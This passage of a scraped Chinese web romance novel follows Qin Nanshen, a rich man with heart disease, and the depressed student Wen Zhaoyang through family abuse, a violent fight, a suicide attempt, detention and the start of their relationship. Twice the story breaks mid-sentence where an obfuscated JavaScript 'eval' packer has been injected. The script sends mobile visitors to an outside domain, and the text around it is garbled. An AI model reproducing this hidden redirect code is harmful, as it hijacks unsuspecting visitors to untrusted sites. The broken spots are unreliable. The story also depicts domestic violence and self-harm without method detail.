秦南深走过来，把手里的玩具递给两个小朋友，还有水果牛奶，他微微颔首礼貌打招呼：“阿姨好，冒昧打扰您，见谅，今天过来蹭个饭。” “哪里的话！您是咱家的贵人，阳阳你也是，秦先生过来怎么也不说一声？我再去加几个菜，还好冰箱还有点。” 温兰芝热情地招呼。 “哇！哥哥送的芭比娃娃好大哇，是豪华限量版。” 秋秋抱着礼盒说。 “我的也是！谢谢哥哥。” 落落说。 温兰芝做了十几个菜，还在往厨房跑，忙忙碌碌地说：“秦先生，您过来还带这么多东西，真是破费了。” 秦南深走到厨房：“没事，都是小钱，阿姨您叫我南深吧，不用这么见外，别忙活了，我来帮你。” “别别别，你别碰这些，很脏的，我正在包饺子。” “没事，我也会包。” 温昭阳站在门口，目光看着男人的背影，长得帅，又有钱，还会做饭，他希望秦南深健康无忧一辈子。 “你别帮忙了，我来吧。” 温昭阳走过来，把他拉开说：“大少爷待会别呛到了，厨房油烟重。” “我哪有那么娇贵？” “就有。” 秦南深把手里的面粉往他脸上抹了点，两边画上小胡须，像个猫咪，温昭阳举起手打他，也要往他脸上弄，两人在厨房嬉闹了起来。 温兰芝也从来没见过温昭阳这么开心，打心眼里高兴。 “你们两个……唉，别把我包好的饺子撞倒了。” … 蒸饺刚出锅，一桌饭菜总算齐活。恰在此时，门外传来熟悉的脚步声，是赵功林下班回来了。 可这中年男人一进门，满身浓烈的酒气便涌了进来，屋里原本轻松的氛围瞬间冷了下来，众人都看向他。 “哟，今天这么热闹，做这么多菜。” 赵功林走进来，将鞋子踢到旁边。 “秦总也来了啊。” 秦南深嘴角勾起一抹淡淡的笑，笑意却未达眼底，那目光里满是阴冷的压迫感，眼神锋利如刃，连语气都带着势气：“赵叔，您辛苦了，这么晚才回来。” 这声叔不如不叫，赵功林看见他满脸不情愿，语气充满攻击性。 “阳阳放寒假了吧？” 赵功林不敢看他，心里也是有点畏惧他。 温昭阳也不抬头，夹了块土豆放在嘴里：“嗯。” “寒假准备干什么去？” 赵功林问。 温昭阳不情不愿地回答：“找工作，我成绩好，辅导老师的兼职很好找。” 秦南深插话道：“寒假我带他出去旅游一阵，咱们公司放假了，我想出去散心，也没人陪，就阳阳一个朋友。” 温昭阳看了眼他。 赵功林脸色刹那间被气得铁青，心里巴不得温昭阳出去赚钱，他冷着脸坐下吃饭，为了巴结这个有钱公子哥，也只能硬着头皮不吭声。 “挺好……秦总，您是做什么工作的？我看楼下有两辆车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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温昭阳听到他这可怜兮兮的语气，心又一软。 “算了算了……反正你要是不嫌弃，就睡我的床，我打地铺。” … 温昭阳在卫生间洗澡的时候，秦南深和温兰芝站在阳台聊天，赵功林已经躺在床上鼾声四起，客厅静悄悄的。 “等我哪天不行了，我会把阳阳的学费打在银行卡上，你记得去取。哄他读完硕士，能考上博士也要读，他很聪明，成绩优越，未来不管在哪家企业上班，想升职有点学历总归是很厉害的。” “万一哪天真死了，我名下的资金也是作为公益捐赠出去，或许还会被贪官拿点，直接给你，帮助你们，也算是扶贫。” 温兰芝静静地听着男人的话，眼眶渐渐的泛红，女人拉扯三个孩子长大，平时还要出去工作，一个败家的丈夫，如果不是遇到秦南深，她真不知道日子怎么过了。 “南深，现在医疗发达，你一定不要放弃，好人有好报，你和阳阳一样善良，一定会有福音的。” 秦南深无奈笑了笑：“但愿吧。” …… 夜深时。 秦南深洗完澡，进来温昭阳房间的时候，闻到一股柠檬的沐浴露味道，淡淡地十分好闻，男孩躺在地上玩手机，好像在看医学资料。 温昭阳扬起脑袋：“你洗完了？” 秦南深披了件羽绒服，把他拉起来说：“你去睡床上，地上太凉。” “不用，我身体健康，年轻，睡地上没事。” 温昭阳说。 秦南深突然拽住他胳膊，直接将人拉到了床上，自己躺在地上。 “听话。” 温昭阳坐在床上发呆，成年男人力气太大，他刚刚像一只小绵羊被拎了起来，最后只好作罢，躺下玩手机。 秦南深闭上眼，容许他玩了一会儿。 … 夜晚十一点时。 秦南深抬头坐起来，看见温昭阳已经没有看资料，倒是在刷短视频，追那种狗血剧，他站起来，看见弹幕微微惊讶。 【我重生了，老天给了我机会，我将夺回属于我的一切。】 11.逆鳞 “噗——你晚上不睡觉，就是在追这些剧？” 温昭阳被吓一跳，他刚刚看入迷了，裹紧棉被说：“我一般会学习几个小时，然后刷剧放松下。” 秦南深被他可爱到，坐在旁边问：“你晚上每天几点睡觉？” 温昭阳思考了两秒，心虚地说：“十二点多就睡了……” “是吗？” 秦南深突然把他的手机夺过来，查看他的手机的续航，除去白天的时间，几乎全天都开着。 “你也知道，我是个聪明人，到底几点睡觉？” 温昭阳小声嘀咕：“凌晨四点多……有时候整夜失眠。” 秦南深脸色骤然阴沉，难怪平时总是看他精神状态差，整个人恹恹的，没什么活力，不仅身体缺乏营养，长得也瘦，这样下去怎么能行。 “以后每天十一点睡觉，不许熬夜，我会查岗。” 秦南深说。 温昭阳瞪着眼：“为什么要管我？” “睡觉。” 秦南深敲了敲他脑袋。 温昭阳也是个听话的好孩子，只好钻进被窝里睡觉。 他躺了半小时，也没睡着。 “其实是我睡不着……每天闭上眼，就会做梦，然后就会醒，总是梦到爸爸妈妈模糊的身影，我很想他们。” 温昭阳声音有点颤。 秦南深回想起上次咨询心理医生时的话，抑郁症患者深夜都会胡思乱想，有时候会突然想自残，意志消沉。他真是不敢想，万一自己哪天突然死了，谁来帮助他。 “闭上眼，我给你讲故事。” 温昭阳乖乖闭上了眼。 “从前有个小孩，他家里很贫穷，每天只能吃着窝窝头，镇上发洪灾，他们只能躲进避难所，他爸妈每天出去都会找到新鲜的包子，因为小朋友不吃窝窝头，爸妈就宠着他，给他找食物，肉啊、鱼啊，小朋友那个时候很小，根本不懂这些东西从何而来……” “后来，他长大了，才知道爸妈付出了多少的爱，想让他开心的活着，脱离灾区的时候，小朋友开始努力读书，勤奋工作，想把自己家乡发展宏大，你猜最后他的结局怎么样？” 温昭阳摇了摇头。 秦南深说：“他花几百万赞助了投资方，把自己的家乡的地全部买下，种植成果园，带着全村的人，都过上了幸福的生活，只是，他的爸爸离世了，也看不见这些，但是他还是会好好活着。” 温昭阳睁大眼睛：“那个小孩……是你吗？” 他没想到秦南深还经历了这些，竟然还活得如此开朗。 秦南深点头：“我母亲现在在家卖水果，做厂家批发，全村的人都有自己的果园，村里越来越好。他们的地是我出钱买的，我也不需要回报，只是想让父亲在天上看看，那个挑食不懂事的小朋友，变得有出息了。” “你真厉害。” 秦南深继续说：“我父亲心脏病离世后，母亲一个人撑起家，把我养大，她没有文化，找不到工作，那个时候村里很偏僻，没什么大鱼大肉，她还是把我拉扯大了。” “所以，如果我告诉她，我也得了心脏病，我担心她每天以泪洗面，不如哪天安静的离开，长痛不如短痛。” 温昭阳眼眶湿润，他低声说：“秦南深……你的病真的治不好吗？” 秦南深叹了口气，无奈道：“很困难，我这颗心脏接近坏死，医生说只能进行心脏移植手术。供体必须要和受体精准吻合，主、肺动脉、贴合的静脉，不管哪一步都需要精准符合，还需要进行检查，验血，免疫排斥……术后感染风险也很大，是目前技术难度最高的心脏手术之一。” 温昭阳就是学医的，他能听懂，也知道有多困难，想到这里，他心里很难过，感觉自己心脏也开始疼。 “你冷不冷啊，要不在我旁边睡吧，不嫌弃的话，咱俩挤挤。” “不用，我晚上睡觉不安分。” 温昭阳小声说：“我冷，你帮我暖暖脚。” 秦南深听后，将地上的棉被拿起来，放在他身上，远远地躺在了旁边。 温昭阳主动凑了过来，发现他身体特别凉，大惊失色：“这么冷！你没事吧？” “待会就好了。” 秦南深摸到他胳膊，脸颊染上一抹红。 温昭阳突然主动伸手，揽住男人的腰身，凑过来把脑袋贴在了他胸口，听着他缓慢的心跳，这亲昵的动作，连空气中都充满暧昧，就差说出那四个字了。 秦南深心跳忽然跳得很快。 温昭阳感受到了。 “阳阳……” 秦南深大概猜到了结果，虽然温昭阳没有表明，但是他的态度已经不像当初。 他低声道：“我反而希望你不要爱上我，我陪不了你多久。” 温昭阳没有说话。 秦南深摸了摸他脑袋：“答应我，如果我以后死了，你也要好好活着，我可以给你给多少，照顾下我的母亲。” 其实秦南深不想让他帮忙照顾自己的家人，这么说是让他心里有个念想活着。 温昭阳闷闷地嗯了声。 “秦南深。” 温昭阳闭上眼睛，小声说：“下辈子如果再见面，你能认出我吗？” “可以。” “为什么？” 秦南深捧住他的脸颊说：“爱人终究会相逢，或许我们上辈子也认识，不然怎么会对你一见钟情？” 温昭阳听到这话又脸红了。 秦南深拍了拍他肩膀：“睡觉吧，今天吃药了吗？” “吃了，还是会失眠。” 温昭阳说。 秦南深伸手抱着他，抚摸着他脑袋说：“你缺乏安全感，不要想太多，睡吧。” 温昭阳闭上眼，双手放在了他衣服里，摸到了他的腹肌，没想到他身体这么差，还在锻炼。 秦南深第一次和男生睡觉，心脏扑通地乱跳，片刻过后，他捂住嘴虚弱地咳嗽了两声，脸色苍白，深深地呼吸过后，隐约感觉心脏处传来绞痛，大口的喘着气。 “秦南深？” 温昭阳迅速爬起来，打开台灯，看见他呼吸急促，立马把他外套拿过来：“你的药呢？” 秦南深咳嗽了几声，嗓音沙哑虚弱无力：“车上……停在楼下院子里，兜里有备用钥匙，咳咳……” “肯定是着凉了！我去给你拿药，坚持一下。” 温昭阳说完立马跑了出去。 秦南深抬头的时候，痛得呼吸困难，低头看见地面上的毛绒拖鞋，这孩子，太心急，竟然光着脚跑出去了，这是有多担心他。 他本来想起身，又捂着胸口疼得皱紧眉头，骨头发麻，头昏眼花，现在发作这么频率，以后必须要把药留在兜里，今天一时高兴忘记了。 … 温昭阳跑到楼下，找到秦南深的汽车，外面在下小雨，寒风飕飕的。 他一直哆嗦，也顾不上冷，立马用车钥匙打开门，看见里面的瓶装药，直接全部拿在手里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214928|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温昭阳一路狂奔上楼，却突然发现门被关上了。 “怎么回事……” 温昭阳记得他刚刚没有关门，难道是被风带上了？ 咚咚咚—— “姑姑！” 温昭阳站在门口大喊，刚刚出来的太急，什么也没拿。 咚咚咚—— 温昭阳心急如焚，用力地敲门，敲了接近一分钟，眼看没有声音，准备抬脚破门而入。 吱—— 温兰芝披着衣服打开门：“呀，怎么回事啊？阳阳，你怎么在外面？” 温昭阳冲进来，他余光瞥到赵功林在上厕所，也没想其他的，迅速跑到了卧室。 “秦南深！” 温昭阳搀扶着他起来，倒了三粒白色药丸，这是专门治疗他心脏病的药物，秦南深借着水咽下，才放松了身体，慢慢呼吸。 温昭阳抚摸他胸口，轻轻按压：“喘气别太急，还疼吗？” “嗯……好了点。” “要不要去医院？” 秦南深摇了摇头：“老毛病，不是很严重的发作，我躺一会儿。” “好。” 温昭阳把他放平躺下。 秦南深看向他衣服，还有赤脚的水泥，目光心疼道：“快去洗个热水澡，别感冒了，真傻。” 温昭阳嗯了声，神色不悦，他出去的时候，把门给关上了。 温兰芝关心地问道：“阳阳，南深怎么样？” “好点了。” 温昭阳突然冲到卧室，看见赵功林后，直接猛地一拳抡了过去！ 赵功林捂住脸颊，被打得一脸懵逼，或许是没想到侄子竟然敢动手打他，以前不管收拾孩子，都没还过手，毕竟是哄他吃穿喝的人。 “臭小子！你反了天了！！” 温昭阳咬紧牙关，骂道：“你这个畜生！为什么关门？？人命关天，你就是故意把我锁在门外！不让我给秦南深送药！” “你胡说什么！我出来的时候，谁知道你出去了？还以为是谁忘记关门，你这臭小子——” 温昭阳一副不想活了的模样，直接还手和他打起来，吵醒了两个妹妹，好几个人过来劝架，姑姑护着孩子，屋子里瞬间乱成一团。 温昭阳是个很乖的小孩。 他从小到大都任劳任怨，秦南深是很重要的人，性命忧天的事情，他不会再忍让。 … 温昭阳和赵功林打了一架，洗了个澡，最后才灰溜溜地回到房间。 秦南深看见他脸上的伤，捂着胸口准备起来，温昭阳急忙扶着他躺下。 “我刚起不来……外面这么吵，怎么回事？” 温昭阳扑到他怀里躺下，紧紧抱着他说：“没事，你好好休息，我和姑父打了一架。” “怎么了？” “讨厌他。” 秦南深皱眉，摸了摸他脑袋，闭上眼说：“太晚了，先睡觉，改天我找他算账。” “你不用管，他就是个无赖。” 温昭阳躺在他怀里，也闭上了眼轻声说：“我很喜欢你的怀抱。” 如果能一直陪他就好了。 任何人都不能伤害秦南深。 秦南深也着实有点累，两人互相拥抱了很久，怀里的男孩突然睡着，耳边传来均匀的呼吸声。 秦南深目光宠溺，眼里的笑容很欣慰，总算没有失眠，原来他只是缺乏一个充满安全感的拥抱。 好想陪他一辈子。 … 12.交往 第二天。 秦南深要去公司上班，和温昭阳做了个短暂的离别，避免他们家庭再次闹矛盾打架，也怕温昭阳被欺负，他把自己两个保镖留在了小区车里守着。 这个寒假过得很安稳，温昭阳在家认真复习，在秦南深的保护下，赵功林变得老实了许多。 … 很快，这样平稳的日子持续了半年左右，温昭阳的病情也在慢慢恢复，然而，不太平的事情总是很多。 温昭阳十八岁生日那天，温兰芝买了很多山珍海味，有许多他和妹妹从未吃过的海鲜。 温兰芝说：“我那个饺子摊位，最近是越来越火，姑姑今年挣了很多钱，所以给你买点好吃的。” 秋秋戳了戳长长的贝壳问：“妈妈，这个是什么呀，我从来没吃过。” 温兰芝笑了笑解释：“这个叫蛏子，海鲜里面挺有名的，待会妈妈做给你们吃，你去坐着，今天哥哥的十八岁成人礼，你们快去切蛋糕吧。” 秋秋：“好！我去切蛋糕。” 落落：“我给哥哥戴上皇冠帽。” 嘭—— 原来和谐温馨的氛围，突然被踹门声打断，赵功林走进来，气得把一箱东西扔在了地上，还有大包小包的物品。 温兰芝站在厨房门口问：“你又怎么了？搬这么多东西来干什么？” “操！老子被开除了！” 赵功林猛地踹了下椅子，看向温昭阳说：“好端端的，公司裁员，怎么会查经理岗位？是不是你让秦南深找人搞我？” 温昭阳冷着脸，满眼嫌弃：“他不会和你这种人计较，你自己贪污，被公司查了，怪罪到别人身上？” 啪—— 赵功林突然扬起手一巴掌扇在了他脸上，指着他说：“温昭阳！你真是个白眼狼！老子养你这么大，哄你吃穿喝，花了那么多钱，结果找个人来监督我？每天搞两个保镖在楼下，你是不是巴不得我去死啊！？” 温昭阳脑袋偏向旁边，他捂着脸一语不发，又这样，每次安稳过日子的时候，这个男人就会发癫。 温兰芝摘下围裙，气愤地走过来拦在面前，瞪着男人说：“工作丢了自己再继续找就是，为什么要打孩子？阳阳是你的出气筒吗？想发疯就给我出去。” 赵功林突然抓住她的手腕，看向餐桌上面的菜说：“好啊你，温兰芝，我和你夫妻多年，亏待过你吗？上次我生日，都没有这么丰盛，你侄子过生日，满汉全席都给摆上，海鲜大餐都吃上了是吧？” “我知道了……你们姓温的，就是想耍老子，花我的钱，用我的东西，最后来算计我？？” “你发什么疯！” 温兰芝怒视着他，也直接翻脸道：“赵功林，我当初嫁给你，是因为你有上进心，从来没有做炒股败家的那些事，你以前赚钱把阳阳拉扯大，我也以为你是真的心善，没想到，你竟然是为了让他毕业后赚钱养你？还想让他改口喊你爸爸，你就是嫌弃我只给你生了两个女儿是吧，既然如此，明年我就搬出去住，咱们眼不见心不烦！” 赵功林听她说了一大堆气人的话，攥紧了女人的手腕说道：“行，你要分开是吧？温昭阳父母的安葬费、他小时候的生活费、学费、你都给我还回来，还不清，咱们别想两清！” 温兰芝愕然抬头，她没想到这个男人竟然还有脸要钱。 温昭阳父亲去世的时候，市局那边的抚恤金三十万，全被他拿去炒股投出去了，最后亏得身无分文，还有脸要钱？ 啪—— 温兰芝一巴掌甩在男人脸上，赵功林捂住脸，气急败坏，直接抓起女人的头发，狠狠地把她往地上一摔，同样也是一巴掌还了回去。 “你竟然敢打老子！” “是我给你脸了是吧？这么多年，我动过你吗？天天给我找事，温家的人真是一个比一个贱！” 秋秋和落落看见后，立马上前去劝阻，两个女孩大喊着让他滚，她们哪里比得过赵功林的力气，直接被推倒在地，只能看着爸爸打妈妈。 温昭阳失神地站在原地，耳边传来凌乱的嘈杂声，嗡嗡地响，他视线变得模糊，双手颤抖，尖叫声、怒骂声、小孩的哭声，吵得他精神失常似的，站在那里两眼无神，目光犹如空洞。 男孩僵硬地走到茶几前面，拿起破旧的烟灰缸，缓缓走过去，突然抬手，猛地往赵功林后脑勺砸了下去—— 咚—— 赵功林仰起头，倒在了地上，大滩的血晕开，连温兰芝都吓到了。 秋秋和落落也吓得不轻，她们跑过去扶起妈妈，愣神地看向地上的男人，他捂住脑袋，低声惨叫抽搐，最后陷入昏迷。 “赵功林！” 温兰芝跑过去，试探他的鼻息，惊恐地拿出手机拨打120，生怕他就这样死了，还要拖累温昭阳。 温昭阳站在原地，手里的烟灰缸掉在了地上，他看向地面的血迹，心里想着，终于解放了…… 他死了，他死了。 我也要去坐牢了。 他的人生，就这样结束了。 温昭阳恶心想吐，头晕眼花，他看向窗台，缓缓地走过去。 温兰芝找来家里的止血药，按着赵功林的伤口，抬头看向窗台时，发现男孩站在那发呆，抬起腿准备翻出去。 “秋秋！快去拦着你哥哥！” 秋秋和落落抬头的时候，看见温昭阳即将跳下去，两人立马冲过去紧紧抱住了他。 “哥哥——” “哥哥！爸爸没事，没有死，他还有呼吸……” 温昭阳捂住脑袋，晃了晃头，嘴里喃喃自语，说不是故意的，他眼前发黑，突然倒在地上晕了过去。 “哥哥！” …… 秦南深没想到他才将保镖撤走两天，以为赵功林会安分下来，就出了这种事。 他知道温昭阳今天生日，家里有聚餐庆祝，才没过去打扰他，却被深夜送进医院。在病房醒来后，又被警察带走审问，暂时拘留。 赵功林被送到医院后，抢救了两个多小时，医生还没有出来。 秦南深也怕他死了，温昭阳这辈子就废了，他找来知名医生教授，请了几个脑科的主任医师，都在手术室进行抢救。 又过了半小时。 手术室的医生出来，摘下口罩，秦南深急忙过去问：“怎么样了？” 教授说：“秦总放心吧，已经脱离危险，没有伤到神经要害，在医院休养两个月，会恢复的。” 秦南深抓住他的手：“谢谢，一定要盯紧他，给我用最好的药。” 赵功林是该死，但是不能在这个时候出事。 温兰芝坐在旁边目光失神，听到这些话，也放下心，秋秋和落落靠在她怀里，两个女孩也是泪眼汪汪，心情复杂不说话。 秦南深说：“阿姨，您在医院陪赵功林，我去局里看阳阳。” 温兰芝紧紧攥着他手掌说：“秦先生……求求你，一定要帮帮阳阳，他不是故意打伤赵功林的，是他打我，他好像是发病了，所以才下手没轻重……” “我明白，您放心吧。” 秦南深说完急匆匆离开。 警局。 警察这边也收到电话，听到赵功林已经抢救过来，脱离生命危险，并且没有受很严重的伤，才过去通知温昭阳。 温昭阳蹲在拘留所角落里，双手戴着冰冷的铁质手铐，他十八岁的生日，就这样度过，怕是一辈子也难以忘记。 “为什么……为什么偏偏是我……” “为什么不让我幸福……老天到底想让我怎么样……” “我到底做错了什么……” 咚咚咚—— 警察忽然敲了敲拘留所的门，站在窗口外说：“温昭阳，你姑父已经脱离危险，但是你的情况，咱们还需要观察，是否真的是抑郁症发病，控制不住行为，以后有这种问题，不要这么冲动，可以打电话寻求我们的帮助。” 温昭阳缩在角落里躲着，头发凌乱，两眼无光，他什么也没听进去，还是低头喃喃自语，眼泪往下掉：“为什么……为什么……” 警察看向身边的同事问：“怎么样？司法鉴定结果什么时候出来？” “正在加急，预估几个小时出结果，这孩子还在读书，今天刚满十八岁，他姑父有家暴倾向，常年挨打，也是挺难的……” “哎。” 秦南深赶过来的时候，和局长聊了下天，他找了点关系，催促鉴定部门，很快就拿到结果。 其实他也心里很紧张，不知道温昭阳是故意的，还是抑郁症发作，控制不住行为，生怕他会被判刑。 十来分钟后，鉴定结果出来。 温昭阳抑郁症发作，伤人的时候精神紊乱不清醒，无法控制自己的行为，不予处罚，拘留所当天放人。< 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秦南深搂着他，将人横抱起来，走出拘留室，男孩憔悴的模样都快心疼坏了。 - 汽车停在马路边，秦南深抱着温昭阳的时候，发现他总是往自己脖颈里蹭，滚烫的眼泪掉在了他锁骨上，男人的心又乱了几拍。 林助理打开后面的车门，秦南深坐进去，立马说：“找个附近最近的医院，他手腕一直在流血。” “好。” 秦南深摸着他脑袋，低声安抚：“阳阳，没事了，赵功林已经脱离危险，你姑姑和妹妹都没事，你也不用坐牢，听到了吗？” 温昭阳缓缓睁开眼，目光和男人对视，小声问：“……我不会再被关了吗？” “嗯，不会，我们去医院，给你包扎伤口，然后去我那里住，啾啾好几天没看见你，每天都在叫。” 温昭阳低声喃喃自语：“没事了……没事了……” 秦南深在一旁静坐，身旁的男孩忽然轻轻凑过来，顺势倚靠进他怀里，双臂紧紧环住他的腰身。抬头时，又在他脖颈侧边落下一个轻柔的吻。 秦南深猛地一怔。 温昭阳说：“谢谢你……” 秦南深的脸红了，原来男孩的吻是这样的凉，柔软的触感还在，他还没反应过来，这小朋友突然又把头抬高了些，吻住了他双唇。 “温……” 温昭阳压着他肩膀，腿已经坐在他身上，唇齿相依，气氛逐渐升温，秦南深愣神片刻，也微微张嘴，迎合他的吻，他担心的事还是来了，小朋友动心了。 秦南深突然很害怕死亡，因为他不想离开温昭阳，也不能离开。 秦南深曾想过，今年出国，暂时远离他，保持距离，免得这男孩真的动心，以后他死了，也走不出去。 但是，他做不到，生怕一离开，这男孩就会出什么事。 林助理心里在想，要不把前面做个隔板呢，怪不好意思的。 一吻结束，秦南深捧住男孩红透的脸问：“不是说过，不能动心吗？现在爱上我，以后我死了怎么办？” 温昭阳趴在他怀里，舔了舔男人的喉结：“珍惜眼前人，或许，我还能陪你很多年……起码这几年，我是幸福的。” “你啊……” 秦南深突然从后座底下拿了个礼盒出来，拆开里面的手表，戴在了他的手腕上。 “生日快乐，十八岁的阳阳，拥有了二十六岁的秦南深。” 温昭阳瞬间僵住，低头看向手边的男士手表。 银灰色表身透着沉稳质感，表盘设计简洁，仅清晰标注着时间，而表圈处镶嵌的一圈细密白钻，在光线映照下熠熠生辉，将腕表衬得格外好看。 “这么贵重的礼物……” 秦南深笑了笑：“不贵，是我自己买的普通手表，然后去公司制造厂，把钻石雕刻上去，改了下形状，手工的。” “你亲手做的？” “嗯，你平时学习，不是总喜欢看时间吗？现在方便了。” 温昭阳高兴地亲了他一口，眯起眼笑得很甜：“谢谢你。” 这个难忘的生日，他以为是深渊陷下去了，没想到又被爱人拉了出来。老天爷在捉弄他的命运，但是也在眷顾他。 “秦南深，我们交往吧。” 13.惊吓 秦南深愣住，傻傻地看着他：“你说什么……” “我们交往吧。” 温昭阳又重复了一句，抬头亲了亲他脸颊，经过这一次事件，他也认清自己的感情，他很喜欢眼前这个男人。 “可是我……” 秦南深担心自己命不久矣，陪不了他多久。 温昭阳却说道：“我知道你心里在想什么，你担心自己的身体可能随时心脏病发作死亡，我知道，我也考虑过这些，但是我现在只想好好陪你，有你在的日子我很开心。” “可以答应我吗？” 秦南深再也忍不住，将眼前的男孩紧紧拥入怀中，他温柔道：“阳阳，我爱你。” 温昭阳也笑出了声。 前面正在开车的林助理，突然兴致勃勃的说：“要不要我买个鞭炮，待会儿给你们放一下？” 秦南深：“城市禁鞭。” 温昭阳听到他这话，噗嗤笑出了声，男人侧过头看他，笑起来多好看的小朋友。 医院。 秦南深带温昭阳去包扎了下伤口，又带到精神心理科复查。 温昭阳开始很抗拒不想去，站在门口有点害怕，他心里很自卑，担心自己会被诊断成精神病，配不上秦南深。 “放轻松，我在这陪你。” 秦南深牵住他的手说。 温昭阳微微点头：“嗯。” 和心理医生交谈下来，温昭阳明显越来越紧张，听到精神两个字的时候，他手心都冒出了冷汗，呼吸也变得急促，狠狠地掐着掌心。 最后还要做躯体检查，血液检查，又抽了几管血做全身体检。 搞完所有的事情已经是凌晨一点，秦南深坐在门口等结果，温昭阳有点犯困，倒在他肩膀上睡着了。 秦南深找了个舒适姿势，让他靠在自己怀里，又把自己的外套脱下来，披在了男孩身上。 半小时后。 心理科医生出来，找到秦南深，刚准备说话，看见他食指抵在唇边，示意安静。 心理医生把单子拿过来给他，低声说：“好好陪他吧，抑郁症的药也不是立马就有效果，需要长期服用，一到两年，这段时间有点严重，他的神经递质紊乱，所以有时候控制不住自己的行为，容易胡思乱想。” “我知道了。” 秦南深接过检查单，目光落在诊断结果“重度抑郁”上。 结合过往情况来看，这或许与他长期失眠脱不开干系。 平日里，他的生活总是被阴霾笼罩，几乎没有能让他真正开心起来的事情。 即便已经在服药治疗，可病情依旧顽固，药物似乎难以完全压制住症状。恢复显然不能一蹴而就，需要一个缓慢且循序渐进的过程。 …… 第二天。 温昭阳醒来的时候，已经是中午，他揉了揉眼睛，看向熟悉的卧室，是秦南深家里的次卧，他看了眼手机时间，十一点多，竟然睡了这么久。 温昭阳起来的时候，已经闻到饭香，他走到厨房，看见是一名陌生的厨师。 “您是……” 厨师正在切菜，抬头礼貌回答：“温先生好，我是秦少请的私人厨师，他身体状况不太好，以后由我给你们做饭，他去医院看望您姑姑了，十二点会到家，您可以先去洗漱。” “好的……谢谢。” 温昭阳转身离开，他在想，秦南深究竟多有钱，有私人医生、私人保镖、助理、司机、现在连厨师都请过来了。 温昭阳走进卫生间刷牙洗脸，抬眼便见洗脸盆台面上被收拾得干干净净，只摆着洗面奶、牙刷和牙膏。 他上完厕所想倒杯水，却没找到自己常用的那只玻璃杯，倒是零散放着不少塑料纸杯。 他走到客厅转了一圈，想吃点水果，翻找半天也没见着水果刀。 目光扫过阳台和窗户，发现都装了一层铁网。拉开抽屉查看，连平时用的指甲剪也没了踪影。 家里的物件像是被彻底整理过，连装饰摆件都收得一干二净，看不见任何尖锐物品。 “怎么回事……” 温昭阳心里渐渐有了答案，只有一种可能，秦南深是怕他想不开，才悄悄做了这些。 “真是个心细的男人。” 温昭阳拿起纸杯，接了点温水，和往常一样，从包里拿出抗抑郁的药乖乖咽下。 不能再胡思乱想…… 一定要好起来，要好好活着，照顾秦南深，回报他的好。 秦南深提前十分钟就到家了。 温昭阳跑到玄关处接他，看见他身后还有个戴眼镜的矜贵妇女，穿了件国风的中式长裙，他疑惑抬头问：“这是……” 秦南深说：“我给你请的助教老师，她是博士毕业，我朋友的母亲，退休后在家做补课工作，阳阳，这段时间你先别去学校，在家好好调养身体。” “这……这位老师已经退休了？我还以为四十多岁呢，好年轻啊……” 温昭阳礼貌颔首打了招呼：“老师好。” 陈老师和蔼温柔笑道：“您好呀，叫我陈老师就行，我已经五十多岁了，和小秦有过几次交集，我也钟爱珠宝首饰，每次在他们公司订婚，小秦都会赠送点礼物给我，这孩子人真是善良。” 秦南深换完衣服，来到客厅泡茶，说：“陈老师，饭快熟了，咱们先吃饭，今天先认识下，阳阳很聪明，到时候暑假也不用补课，您偶尔过来帮他辅导下明年的课程就行，别让他落下。” “好，我知道，我以前还在他们学校教过书，我都懂的。” 陈老师说。 秦南深把茶端给陈老师，然后被温昭阳拉到了卫生间。 温昭阳小声紧张地说：“我……我还要休学吗……没有这么夸张吧？昨天的检查结果很严重？我是有精神病吗？” “乖，别害怕，只是在家调养身体，我怕你在学校，有人欺负你。” 秦南深摸了摸他脑袋，低头在他额头上落下一吻。 男人成熟稳重的嗓音给了他安全感，温柔地哄着他：“听话，既然生病了，就在家好好治疗，以免再发生这样的事。” 温昭阳很乖顺，听完后乖乖点了点头。秦南深瞧着他这副软乎乎的模样，心尖微动，俯身吻上他的上唇，还带着几分克制的温柔，轻轻咬了一下。 “唔……” “换气。” “嗯……” 温昭阳双唇被咬红，脸颊涨红，心跳猛地加速，快喘不过气来，男人才放开他，秦南深也说：“对不起，没有忍住。” “没关系……” 温昭阳声音软软的，直接把秦南深魂儿都勾走了。 … 后来的几天，因为温兰芝那天的海鲜大餐没有吃上，秦南深找了一家城市最好的海鲜自助餐厅，顺便叫上了秋秋和落落。 双胞胎姐妹第一次来这种大酒店，看到里面的海鲜自助，各种各样的蟹、虾、眼睛都亮了。 “姐姐，看，这是蛏子，妈妈上次没做成的那个。” “看到了，哇，这个大螃蟹，好大一只，名字叫帝王蟹，能吃吗？” “还有这个，好大的龙虾！” 温昭阳跟在后面说：“人有点多，你们别跑掉了。” “知道啦哥哥。” 温昭阳无奈道：“不好意思，让你见笑了，咱们家条件穷苦，秋秋和落落都没出几趟门，她们没见过这种场面，是不是很贵啊？” 秦南深喜欢摸他头顶，温昭阳的头发很柔软光滑，微微蓬松，摸起来像软棉花，他边揉边说：“不用和我客气，也不需要道歉，这是我应该做的，补偿你的生日。” “秦南深，你怎么那么有钱啊？我记得，你好像有两个岗位，CEO和设计师，那你拿的是双倍工资吗？” 温昭阳好奇问。 秦南深回答：“差不多，我天赋较高，设计出的产品永远销售在顶端，公司如果想留住我这种人才，必须涨工资，否则容易被对手挖走。” 温昭阳眯起眼笑，牵住他的手说：“我以后也要赚大钱，开一家属于自己的大医院！成为天下的名医！” “会的。” 秋秋和落落拿了许多海鲜，两个小孩开心坏了，但是她们觉得有点贵，只能过去问秦南深。 秋秋走过来问：“秦哥哥，我们可以拿这个帝王蟹吗？好像一千多一只，如果不可以，我就放回去，吃小螃蟹也可以的。” 